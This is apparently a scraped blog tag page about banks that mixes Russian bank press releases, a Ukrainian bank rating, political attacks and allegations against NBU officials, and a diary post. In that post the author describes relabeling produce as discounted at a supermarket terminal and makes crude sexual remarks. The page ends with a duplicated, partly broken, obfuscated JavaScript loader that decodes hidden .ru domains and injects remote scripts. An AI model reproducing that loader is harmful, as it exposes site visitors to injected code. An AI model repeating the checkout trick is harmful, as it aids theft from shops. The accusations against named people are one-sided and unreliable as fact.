хочу сюди!
 

Людмила

39 років, лев, познайомиться з хлопцем у віці 35-43 років

Замітки з міткою «банки»

Примсоцбанк «разгоняет» овердрафт для бизнеса

Примсоцбанк ускорил срок принятия решения по предоставлению овердрафтов для малого и среднего бизнеса до 24 часов.

16.04.2018, Россия  Примсоцбанк ускорил срок принятия решения по предоставлению овердрафтов для малого и среднего бизнеса до 24 часов.

Использование овердрафта позволяет компаниям проводить финансовые операции по расчётным счетам даже при недостатке или отсутствии средств для их проведения. В таких ситуациях банк автоматически предоставляет кредиты на сумму, превышающую остаток средств.

«Позволяя компаниям стабильно работать даже при недостатке финансов, мы даём им возможность стабильно развиваться, несмотря на временные экономические трудности, – отмечает Константин Антонченко, начальник отдела кредитования малого и среднего бизнеса ПАО СКБ Приморья «Примсоцбанк» – Оформление овердрафта на год за 24 часа позволяет вести финансовую деятельность без перерывов».

Годовой овердрафт оформляется на сумму от 100 тысяч до 3-х миллионов рублей под залог недвижимости или легкового автотранспорта. Страхование залога не требуется. Суммы до 2-х миллионов рублей предоставляются без залогового обеспечения. Подробные условия кредитования и требования к заёмщикам можно узнать во всех офисах ПАО СКБ Приморья «Примсоцбанк», на официальном сайте и по телефону 8-800-200-42-02.

ПАО СКБ Приморья «Примсоцбанк» (лицензия ЦБ РФ N2733) основан 4 марта 1994 года – российский универсальный банк, один из лидеров банковской сферы Дальнего Востока. В состав акционеров Банка входит Европейский банк реконструкции и развития. В рейтинге крупнейших банков России, по данным портала Banki.ru, Примсоцбанк занимает 94 место по ключевым показателям деятельности. Филиальная сеть Примсоцбанка насчитывает 54 точки присутствия в 24 населенных пунктах России, в том числе 7 филиалов в Приморском, Хабаровском, Камчатском крае, Омской, Челябинской, Иркутской, Свердловской области, Москве и Санкт-Петербурге.   

Рейтинги банків України

Рейтинг банків. Осінь-2017Mind проаналізував фінансову стійкість, платіжну дисципліну та ризики власників банків, що працюють в Україні. Як і раніше, найнадійніші з них – установи з іноземним капіталом

Рейтинг банків. Осінь-2017
Фото: Shutterstock

Лідерами рейтингу Mind життєздатності банків, що працюють в Україні, за результатами ІII кварталу 2017 року стали американський Сітібанк, австрійський Райффайзен Банк Аваль та французький УкрСіббанк. За ними розташувались французький Креді Агріколь, німецький ПроКредит Банк та угорський ОТП Банк.

Ці установи вийшли в лідери за комбінацією таких кількісних показників надійності, як ліквідність, рентабельність, достатність капіталу, а також якісних факторів безперебійності платежів, підтримки акціонерів та ризиків країн їхнього походження. Рейтинг складено на основі даних фінансової звітності станом на 1 жовтня 2017 року. Мета рейтингу, як завжди, незмінна відфільтрувати банки з найвищою внутрішньою здатністю пережити період системної нестабільності.

Попри те що загалом надійність банків виросла, оцінити позитивно банківський сектор поки що нелегко. Аналізуючи стан справ банківської системи України, важко позбутися думки, що економіка живе своїм життям на Землі, Національний банк України – на іншій планеті, десь високо в небі, а банки – у польоті, але як солдатський крокодил – «низенько, ну зовсім низенько».

Основне досягнення НБУ – імплементація МСФЗ 9 у вигляді 351-ї постанови – продемонструвало: бюрократична Україна може робити з власною економікою, що забажає, без будь-якої відповідальності за кінцевий результат. Сказали: «Таргет інфляції 8% (+/-2%) у 2017-му...», ну, не вгадали – шукаємо винних поза нашою системою.

Те, що для виконання проклятого банками міжнародного стандарту Мінфіну в 2018 році знову треба капіталізувати банки за участю держави – то проблема власника. От тільки навіщо Мінфіну на підтримку банків, у яких дві третини негативно класифікованих кредитів, вкладати коштів більше, ніж в оборонний бюджет, то НБУ не стосується.

Власники ж приватних банків більше піклуються не про розвиток бізнесу, а як вийти з нього без карних справ. Іноземці не форсують події: їхня українська «дочка» – мізерна доля великого балансу. Отже, можна заплющити очі на збитки, може, колись і згодиться. Російські банки й раді б вийти з ринку, але таке «добро» нема кому продати. Економічне зростання в країні – окремо, а банківське кредитування – окремо.

Показники

Депозитний портфель фізичних осіб банківської системи за 10 місяців у гривні приріс на 18 млрд грн (+3,8%). Це добре. Але уважний аналіз вказує на те, що майже 16 млрд грн – це приріст у ПриватБанку за рахунок переведення депозитів у валюті і депозитних сертифікатів. З банків за участю російської держави забрали понад 20% депозитів. Тобто якщо з системи прибрати фактор найбільшого банку, питома вага якого у депозитному портфелі продовжує зростати, то успіхи інших у сукупності – мінімальні. До речі, що думає антимонопольне відомство про майже 36% долі ринку одного банку?

Депозитний портфель юридичних осіб має від’ємний сумарний результат (-3,2%). На майже 4,6 млрд грн приросту в гривні – трохи більше $700 млн відтоку. У цьому сегменті обігові кошти бізнес переносить у банки із західним капіталом. Сприяє й європейське законодавство зі страшним словом «комплаєнс», і системне закриття коррахунків українським банкам західними партнерами.

Кредитний портфель фізичних осіб приріс у гривні з початку року на 18,3 млрд грн, тоді як у ВКВ – зменшився на трохи більше $400 млн. Масове іпотечне кредитування не повернулося, а кредитні продукти, що покривають розриви ліквідності у людей від зарплати до зарплати, зараз пропонують майже всі банки. Загальний приріст портфеля на рівні 2% з початку року мало допомагає економіці збільшувати продажі на споживчому ринку. Динаміка кредитного портфеля юридичних осіб взагалі має від’ємний характер (-1,8%). На тлі зростання кредитного портфеля в гривні на 23,1 млрд грн має місце згортання валютного портфеля на більш ніж $1 млрд. Суттєво приросли кредитні портфелі Укргазбанку, Кредобанку, Сітібанку, Прокредитбанку, і неможливо не побачити суттєве зростання ТАСкомбанку.

Аналізуючи розвиток банківської системи за останні три роки, складається враження, що за реальним перерозподілом коштів на ринку замість системних зрушень – одні балачки. Наприклад, не вщухають розмови про експортно-кредитну агенцію: закон прийнятий, але грошей на статутний фонд немає, хоча на капіталізацію неефективних банків – є.

Також тривають розмови про закон щодо реструктуризації проблемної заборгованості, де якісь поодинокі потуги є, але системних зрушень не відбувається.

Обговорюється законопроект про єдиний реєстр позичальників, який має помітити злодіїв, що розікрали банківську систему, але на практиці все тупцює на місці.

Розмови про посилення прав кредиторів розбиваються вщент судовою практикою, де законів стільки, що кожний цивільний позов можна розгорнути в будь-який бік, особливо з вітчизняною славною історією про приватизацію і рейдерські перерозподіли власності.

продовження тут
https://mind.ua/publications/20178327-rejting-bankiv-osin-2017

Много вопросов по существу и любовь к аптекаршам



Фексофаст, реанимация душа, валюта и хорошие люди

Извините, но я как обычно в своем непередаваевом стиле отбарабаню тут перед сном и пойду углубляться еще дальше в изоляционизм. 

1. Кто-нибудь знает, сколько стоит банковский перевод валют в Украине? Ну там всякие Вестерн Юнион, Мани в жопу и пр? Я вообще не в теме (даже названий не знаю), посему немного вагаюсь, что будет дешевше - съездить за деньгами живьем на поезде туда и обратно (хотя, что обратно живьем - не факт).. или просто получить чуть меньше валюты (вычет услуги) через перевод. Да, ехать нужно примерно в сторону Харькова, да и расстояние почти такое-же. Собственно, в Харьков-то мне и нужно, если опустить детали спецоперации (куда потом, где явка, какие пароли и имена агентов - не расскажу).

2. Позавчера сломался душ. Совсем. Там было такое сложное соединение всего невозможного и разломаться умудрилось все. На первый, второй, третий и даже десятый взгляд - починить невозможно. Только менять всю конструкцию - и оба шланга и насадку. Это полтыщи гривен, но и то не факт, что будет не фуфло. Думал долго, ночь не спал. 

В итоге полностью реанимировал и привел не то, что в рабочее состояние, а даже стало лучше, чем было. И это при том, что все резьбовые соединения, гайки и пр.  отломались напрочь, ведь новую гайку на шланг от душа надеть невозможно в принципе - она там появляется до того, как все собрано в единое целое и обратно фарш не провернуть.

3. Научился экономить на баклажанах и кабачках. Если порыться в Сильповском втором сорте, можно найти очень хорошие экземпляры, а потом разорвать пакет, собрать самое лучшее из найденного воедино и заново перевзвесить, зная как набирается на терминале уценка (а я знаю - ведь хакер в прошлом). Можно, конечно и не второй сорт, а даже самое отборное самому взвесить и пробить, как уценку (это легко, но пока мне еще стыдно).

4. Искал по всему городу фексофаст (ничто другое мою аллергию уже давно не берет). Нигде нет. Обошел аптек шесть, и даже просил-умолял позвонить, чтоб под заказ с предоплатой или вообще хоть как-то. Ни хрена. Но бывают и чудеса - в одной из аптек попалась очень симпатичная заведующая. Она записала мой телефон, вежливо улыбнулась, пожелала всего хорошего и обещала перезвонить на днях. Потом я ушел, проигрывая в зрительной памяти ее глаза и улыбку. А пока я мысленно мастурбировал воспоминаниями про заваптекой (а еще там Юля есть - она вообще офигенная и даже моя секс-мечта)  то заваптекой (Оля) просто исполняла свои обязанности пока я тащил пару авосек со стыренными баклажанами и кабачками.

Не успел я дотащить условно уцененные овощи до дома, как позвонила Ольга - двадцать таблеток достанет к четвергу и  обязательно позвонит. И все это при том, что поставка фексофенадина в Украину временно прекращена и нигде не достать. Как же я люблю хороших людей.

Ну и личное обаяние тоже ведь никто со счетов не списывал - ловко я Олю обаял.. Хотя моя настоящая любовь - Марина.
Map

RAEX (Эксперт РА) присвоил рейтинг Примсоцбанку на уровне ruВВВ+

06 июля рейтинговое агентство Эксперт РА присвоило Примсоцбанку рейтинг кредитоспособности на уровне ruВВВ+, прогноз «Стабильный».

RAEX (Эксперт РА) присвоил рейтинг кредитоспособности Примсоцбанку на уровне ruВВВ+. По рейтингу установлен стабильный прогноз.

«К ключевым факторам, оказавшим положительное влияние на рейтинговую оценку, были отнесены высокие показатели рентабельности бизнеса и приемлемый запас по устойчивости капитала к реализации кредитных рисков. Поддержку рейтингу также оказывает хорошая сбалансированность активов и пассивов в сочетании с невысокой вероятностью крупных выплат на среднесрочном горизонте» - отмечается в официальном пресс-релизе Эксперт РА. Агентство также отмечает хорошую диверсификацию в части крупнейших кредиторов и крупных заемщиков, что отражается в низком значении отношения крупных кредитных рисков к активам. Поддержку рейтингу также оказывают высокий уровень обеспеченности портфеля кредитов ЮЛ, ИП и ФЛ. Кроме того, агентство отмечает сильные конкурентные позиции банка на банковском рынке Приморского края, высокое кредитное качество портфеля ценных бумаг и низкий уровень принимаемых валютных рисков.

RAEX впервые присваивает Примсоцбанку рейтинг кредитоспособности. Рейтинг присвоен по российской национальной шкале и является долгосрочным. 

Примсоцбанк провел весеннюю серию семинаров по ВЭД




В мае 2017 года ПАО СКБ Приморья «Примсоцбанк» провел для участников внешнеэкономической деятельности серию бесплатных семинаров «Банковские консультации 2017: актуальные вопросы для компаний ВЭД». Обучение проходило во Владивостоке, Хабаровске, Находке, Уссурийске, Чугуевке. Такие семинары проводятся Примсоцбанком два раза в год и стали уже хорошей традицией для его клиентов. В ходе весенней серии семинаров специалисты банка представили информацию по банковским проверкам операций и сделок ВЭД по Федеральному закону 115-ФЗ "О противодействии легализации (отмыванию) доходов, полученных преступным путем, и финансированию терроризма", рассказали в каких случаях возникает административная ответственность за нарушения валютного законодательства и актов органов валютного регулирования, проконсультировали по международным платежам в рублях РФ.

В ходе семинаров специалисты Банка представили также новые акции и продукты Примсоцбанка, отвечающие сегодняшним реалиям ведения бизнеса, в помощь предпринимателям, в частности о программах льготного кредитования бизнеса совместно с Корпорацией МСП, возможности прямого доступа клиентов банка к торгам на бирже, а также специальной акции «ВЭД без границ», участниками которой могут стать корпоративные клиенты Примсоцбанка, открывшие валютный счет в период с 15 февраля по 30 апреля 2017 года, при условии, что на момент открытия счета клиент не имеет в Примсоцбанке другого счета в иностранной валюте. По условиям данной акции счет можно открыть всего за 1250 рублей, при этом тарифы так же снижены

Комната сильного независимого мужчины



Полный ппц, а не комната... Сразу видно, что некому выедать мозг "вынеси мусор" lol

Источник: https://jestomg.com

Відставки Гонтарєвої вже недостатньо

Нинішня епоха, крім війни, запам’ятається чи не найбільшим економічним злочином – грабунком вкладників. За злочин цей рано чи пізно треба буде відповісти.

Трасти 90-х – це кишенькові злодії порівняно з тим, як лютує зараз наша фінансова влада у особі НБУ та фонд гарантування вкладів (ФГВ), своїми діями та бездіяльністю роблячи постраждалими мільйони.

Що характерно, у судах вину НБУ доводять досить легко. Уся надія нинішніх “кращих банкірів Європи” – на юридичні перешкоди, котрі влаштовують вкладникам для того, щоб перешкодити їм судитися.

За підрахунками самих вкладників, сума активів збанкрутілих банків перевищує 400 мільярдів гривень. Якість управління цими активами є надзвичайно низькою. Як приклад наводять випадок з нерухомістю на Хрещатику (називали фантастичну суму в понад 700 млн). Вона була в заставі у одного з великих банків, потім потрапила у розпорядження ФГВ. Заставу було знято судовим рішенням через те, що Фонд елементарно не брав участь у судовому процесі – представники ФГВ пояснили потім, що елементарно не отримали сповіщення поштою (готую звернення з цього приводу до правоохоронців).

Найбільше ображає вкладників факт колосальних затрат Фонду на представництво у судах у процесах проти самих вкладників. Фактично, гроші постраждалих громадян використовуються для того, щоб судитися з ними ж – називають цифру більше 4 млрд грн!

Мільйони вкладників – це, звісно, дуже багато. Але проблема ще ширше – настільки широка, наскільки може бути. Банківська система – це довіра, без довіри банки не існують. Без банків не може розвиватися економіка. Звідки взятися у нас економічному зростанню, якщо кожен банк може впасти, навіть той, котрий носить штамп системного?

В таких умовах джерелом кредитів в країні стає у доларах – МВФ, у гривні – віртуальний друкарський станок НБУ.

Хтось за це має відповісти.

***

Рада НБУ на сьогодні все ще не сформована повністю, відтак – нелегітимна. Правління НБУ сформоване з порушеннями. Є численні звинувачення у кримінальних правопорушеннях, минулих і сучасних, щодо керівницвта НБУ та ФГВ. На жаль, ГПУ відверто відмовляється реєструвати відповідні провадження. НАБУ наразі не володіє професійними навиками, щоб ефективно розслідувати злочини банкірів – будемо сподіватися, що це тимчасово.

У будь-якому разі, питання відставки перших осіб фінансових регуляторів уже перезріло. Верховна Рада, мабуть, давно б відправила Гонтарєву у відставку, але, за Конституцією, це неможливо зробити без Президента. Котрий зволікає.

Звісно, відхід Гонтарєвої на певний час загасить хвилю невдоволення у ЗМІ. Питання, насправді, у іншому: чи понесуть винні кримінальну відповідальність, чи це буде колективна відповідальність нинішньої української влади.

Ігор Луценко

Руйнація банківської сфери

Світлина від Valerii Utionok.

Руйнація банківської сфери входить до плану загальної руйнації всієї країни.

У банківській сфері політика Національного банку України призвела до банкротству 67 банків країни і розрахована не на розбудову, а на руйнацію економіки.
Про це лідер «Батьківщини» Юлія Тимошенко заявила в ефірі телеканалу «NewsOne».
Вона упевнена, що Адміністрація президента, причетна до знецінення гривні, до знищення середнього класу та доведення людей до зубожіння і будуть, рано чи пізно, за це відповідоти перед законом, незважаючи на переїзд у Ростов.

«Усе, що було зроблено щодо курсу гривня-долар – це була свідома, запланована програма знищення середнього класу, малого та середнього підприємництва, заощаджень людей у банківській системі України. Те, що вони зробили з українським народом, з банківською системою, з середнім класом – це злочин», – наголосила політик, відповідаючи на запитання ведучої щодо знецінення національної валюти.

Здешевлення гривні втричі «запустило детонатор, який розірвав на шматки усю економіку і зробив неплатоспроможною практично всю українську націю, усі українські банки», -- наголосила Юлія Володимирівна.

«Я вважаю, що це була диверсія проти України, яка була зроблена руками керівника Нацбанку Валерії Гонтарєвої. І вона за це має відповісти! Вона зобов’язана відповідати перед законом за Кримінальним кодексом. Усе, що зроблено проти українців, зроблено її руками», – пояснила політик.

За словами Юлії Володимирівни, у Верховній Раді вже зареєстрований проект постанови про звільнення Валерії Гонтарєвої з посади керівника Нацбанку, однак "президент тримає її на цій посаді", звичайно, не для укріплення фінансової системи.
Лідер фракції також нагадала, що глава НБУ Гонтарєва, як і міністр фінансів Данилюк та ще ціла група високопосадовців, фігурують у «офшорних скандалах» і такі люди сьогодні керують країною. Чи для українського народу вони працюють?

«Ні Гонтарєва, ні Данилюк не йдуть сьогодні до людей, в парламент, до преси, оскільки брудні справи треба робити в тиші і темряві. А світло виводить на чисту воду всі махінації, які вони роблять з країною. Але хочу, щоб усі люди мене зараз почули: ці чиновники будуть відповідати, рано чи пізно справедливість повинна бути!» – підсумувала Юлія Тимошенко.


Крупные банки Австралии столкнулись с растущими рисками в 2016 г


Сегодня рейтинговое агентство Moody's сообщило, что четыре крупнейших банков в Австралии столкнулись с умеренным ухудшением качества их активов и снижением темпов роста доходов. Согласно мнению агентства в последние месяцы ужесточились условия работы для банков, что привело к снижению базы клиентов и росту просроченных кредитов в корпоративных портфелях этих банков. «Это может оказать давление на кредитоспособность крупных банков, особенно в контексте их очень высоких рейтингов. Тем не менее, мы ожидаем, что банки по-прежнему будут абсолютно платежеспособны и цикл кризиса пройдет» - отметили в Moody's. Стоит отметить, что агентство основывало свою аналитическую работу на последних финансовых показателях банков ANZ, NAB, CBA и Westpac.

Банкиры-жонглеры

Главком
 
Банкиры-жонглерыБанкиры-жонглеры

Сергей Березин, для «Главкома»
Вчера, в 06:00

Пока Министерство финансов судорожно ищет возможности закрыть как можно больше бюджетных дыр за счет получения новых или пролонгации старых кредитов, в Национальном банке продолжают работать схемы по выводу денег через облигации внутреннего государственного займа. Непосредственным активным участником сделок, как заявляют учасники рынка, является ранее принадлежавшая Валерии Гонтаревой компания «Инвестиционный капитал Украина».

Правило жирных рук

Облигации внутреннего государственного займа остаются едва ли не самым ликвидным активом на украинском фондовом рынке. Львиная доля торгов ценными бумагами – это сделки с ОВГЗ разных периодов. При этом статистика участников этих торгов – практически неизменна в течение последних полутора лет. По данным фондовой биржи «Перспектива», где в 2014 году оборот торговли ОВГЗ составил 479 млрд. грн., а за 7 месяцев 2015 – 164 млрд. грн., в десятку лидеров торговли традиционно входят государственные «Ощадбанк», «Укргазбанк», а также ранее принадлежавшая нынешней главе Национального банка Украины Валерии Гонтаревой компания ICU («Инвестиционный капитал Украина»).

Интересно, что как только Гонтарева стала председателем центробанка, в десятку лидеров по торгам уверенно вошел банк «Авангард», также принадлежавший ей до перехода на государственную службу. При этом ведущие позиции постепенно покинул другой заметный игрок – ООО «Фондовый актив», среди акционеров которого – сама фондовая биржа «Перспектива». Кроме того, компании находятся по одному адресу и на одном номере телефона в Днепропетровске.

Согласно рэнкингу Cbonds (рэнкинг торговцев по объемам сделок с ОВГЗ на биржевом и внебиржевом рынках), в 2014 году компания ICU и банк «Авангард» совокупно «держали» около 20% торгов ОВГЗ. В 2015 позиции сохранились практически неизменными: в первом квартале – более 24%, во втором – за счет радикального роста доли «Ощадбанка» и размывания остальных игроков – 19,5%. Однако, по информации участников рынка, практически весь объем, который «нагоняют» ICU и банк «Авангард» (ранее на этом месте был «Фондовый актив») – это посреднические операции между реальными участниками рынка, коммерческими и государственными банками. Суть посредничества сводится не только и не столько к организации процесса, сколько в «фильтрации» определенных сумм, которые затем могут перераспределяться между заинтересованными в вымывании денег сторонами. По сути, функции бывших компаний Гонтаревой чем-то напоминают анекдот об отце, который объяснял сыну суть банковского дела с помощью куска сала и жирных рук.

Поясним на примере. Допустим, два государственных банка, «Укргазбанк» (или банк 1) и «Ощадбанк» (или банк 2) хотят разыграть между собой гособлигации на несколько сотен миллионов гривень. Первый заявляет к продаже, а второй – к покупке идентичное количество облигаций, но с разной фиксированной доходностью. Для начала, чтобы не вызывать особых подозрений, банк 1 продает 1000 облигаций посреднику по заниженной цене. Затем посредник несколько раз «жонглирует» этими 1000 облигаций между «партнерами» и котировки этой ценной бумаги уже идут вверх. Тренд понятен: цена на бумаги растет – хорошее оправдание для банка 2, который – также через посредника – купит эти облигации несколько дороже. Разницу участники процесса положат себе в карман.

При этом если еще несколько лет назад главной «площадкой», на которой оседали прибыли делков (а на самом деле – деньги налогоплательщиков, которыми заливают государственные банки) было уже упомянутое выше ООО «Фондовый актив», то сегодня речь идет либо об ICU, либо о банке «Авангард».

Точная информация, сколько зарабатывают посредники сегодня, недоступна. Однако можно провести аналогии с 2012 годом, когда средний «навар» за месяц операций мог составлять до 5% с каждого такого «розыгрыша». Из 479 млрд. грн. объема торгов ОВГЗ в 2014 году, 25% (около 119 млрд. грн.) прошли через «Ощадбанк». Даже если допустить, что посредники «оседлали» не более 20% всего потока (что очень сомнительно), доход «из воздуха» все равно получится немалым – около 1,2 млрд. грн.

К слову, по таким же схемам и с участием практически тех же посредников вымывают деньги из собственного капитала и частные банкиры, которые продают ценные бумаги по заниженной цене, а реальную разницу делят с компаниями-прокладками.

Вторая похожая схема – это «сбрасывание» дохода от государственных ценных бумаг на компании-посредники с помощью продажи таких облигаций за несколько дней до момента выплаты купона и обратного выкупа после этого. Такие операции, как писали СМИ, неоднократно проворачивали участники торгов на бирже «Перспектива» в течение всего 2014 года. Их участники – те же ICU, «Авангард», Ощадбанк, Укргазбанк.

Зеркальные схемы

Естественно, такие схемы «работы» государственных и коммерческих банков с ценными бумагами невозможна без прямого покровительства в Национальном банке. И зная, какие операции покрывались регулятором до этого, несложно предположить, что здесь ведут точный учет утерянного рефинансирования и выветривающихся денег налогоплательщиков. При этом работа механизма не прекращается ни на минуту, даже несмотря на смену фамилий в руководстве НБУ. Чего стоит едва ли не зеркальное повторение схемы «Брокбизнесбанк – Аграрный фонд – Нацбанк» в треугольнике «Дельта Банк – Государственное ипотечное учреждение – Нацбанк» уже при Валерии Гонтаревой.

Напомним, схема по выводу более 2 млрд. грн. рефинансирования из «Брокбизнесбанка» с участием Аграрного фонда была построена как раз на использовании в этой цепочке ОВГЗ. Аграрный фонд решил заработать на операции РЕПО и отдал облигации «Брокбизнесу». Вырученные деньги тут же легли на депозит в этом же банке. «Брокбизнес», в свою очередь, решил получить кредит в рамках операции РЕПО у Нацбанка.

Таким образом, физически в банке Сергея Курченко сконцентрировалось более 4 млрд. грн. Деньги от РЕПО с Нацбанком были выведены, депозит Аграрного фонда – «сгорел» вместе с другими вкладами юрлиц и крупными депозитами клиентов-«физиков». Схема стала отправной для целого ряда уголовных дел. По одному из них задержан и сейчас пребывает в СИЗО заместитель председателя правления Нацбанка Борис Приходько, по второму – под домашним арестом в Берлине находится экс-глава правления «Укрсоцбанка» и один из менеджеров Курченко Борис Тимонькин.

Однако, как показывают события вокруг «Дельта банка», не на каждое преступление есть свое наказание. Что же осуществил «Дельта банк»? Косвенные признаки указывают на то, что в такую же «переделку» как Аграрный фонд в «БББ», в «Дельте» попало Государственное ипотечное учреждение. Депозит, который «завис» у ипотечников в банке Николая Лагуна (облигации – депозит – РЕПО – рефинансирование) – около 3,5 млрд. грн. Это сумма, за которую ведомство попыталось посражаться, выступив потенциальным покупателем «Дельты», пока туда введена временная администрация, но не принято решение о ликвидации.

Однако Национальному банку идея не понравилась, поскольку для докапитализации «Дельты» придется – в случае с ГИУ – вливать в банк государственные деньги. Которых и так немало утекло через это финучреждение. По данным издания Finbalanсе, в 2014 году за период руководства в Нацбанке Игоря Соркина (до 24 февраля) «Дельта Банк» получил от НБУ под залог гособлигаций по операциям РЕПО 1,42 млрд. грн. В период руководства в НБУ Степана Кубива (с 24 февраля по 20 июня) – 4,15 млрд. грн кредитов для сохранения ликвидности под залог имущественных прав по кредитным договорам.

Кроме того, в этот период «Дельта Банк» под залог гособлигаций по операциям РЕПО получил еще 786 млн грн, а на тендерах под залог гособлигаций, облигаций ГИУ и облигаций предприятий с гарантией Кабмина – 2,6 млрд. грн. В период руководства в НБУ Валерии Гонтаревой (с 20 июня) «Дельта Банк» получил от Нацбанка стабкредит на 960 млн грн, а также 1 млрд грн - под залог гособлигаций на тендерах. Информация о том, какую часть этих средств удастся вернуть из неплатежеспособного банка – тайна за семью печатями. Активы «Дельты» практически не работают. Косвенно об этом свидетельствует объем резервирования под обесценивание кредитов и других финансовых активов, на которое с начала года было потрачено почти 40 млрд. грн. (это, к слову, и стало причиной наибольших убытков банка по сравнению с остальной банковской системой).

Собственный капитал по итогам двух кварталов 2015 года составил минус 44 млрд. грн. То есть только для выхода на «нулевую» отметку нужно влить в банк не менее $2 млрд. – неподъемная сумма для государства и любого потенциального инвестора. И фактически – «приговор» для бывшего топ-менеджмента, а также – по аналогии с делом Приходько – ответственными за покрытие схемы чиновником из Нацбанка.

Но не тут-то было. Больше всего претензий – да и то, не уголовных, а всего лишь материальных – ТОПам банка Николая Лагуна предъявляет пока лишь Фонд гарантирования вкладов физлиц, который намерен взыскать с незадачливых руководителей 1 млрд. грн. Кроме того, Генеральная прокуратура возбудила против директоров «Дельты» уголовное дело за разбазаривание рефинансирования. Как отмечается в материалах суда (иск подан прокуратурой), досудебным расследованием установлено, что банк в течение 2014 получил от Национального банка Украины рефинансирования в объемах около 10 млрд. грн., из которых на 4,1 млрд. грн. было приобретено 535,3 млн. долларов США и перечислено за границу в интересах 12 связанных между собой украинских компаний, отдельные должностные лица которых одновременно являются сотрудниками «Дельты».

Сколько еще таких эпизодов будет выявлено в ходе дальнейшего расследования – остается только догадываться. Однако судя по темпам, виновных в убытках банка и тысяч обманутых вкладчиков не скоро ждет реальная ответственность.

Нужно сказать, что глубину проблем банка и невозможность их решить за счет существующих правовых механизмов подтверждает целый ряд экспериментов, санкционированных руководством Национального банка Украины над вкладчиками «Дельты». В первую очередь, это блокирование выплат части депозитов, которые считаются «дробленными». Почему эта «санкция» касается только клиентов одного финучреждения – большой вопрос. Далее, приостановка выплат в связи с недостатком средств – также нестандартный шаг, поскольку ранее признание неплатежеспособными «Надра банка», «Форума», «Брокбизнеса» почему-то не вызывало таких действий ФГВФЛ.

Сейчас все больше участников рынка говорят о том, что «Дельту» хотят как можно быстрее похоронить без привлечения дополнительных ресурсов из бюджета, поскольку это может разбалансировать государственную смету. Следующим шагом, очевидно, будет поиск новых желающих проворачивать масштабные схемы. Однако пока других претендентов, кроме госбанков, а также компаний, ранее принадлежавших Валерии Гонтаревой, для этого нет.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21797",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21797",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();
Сторінки:
1
2
3
4
5
7
попередня
наступна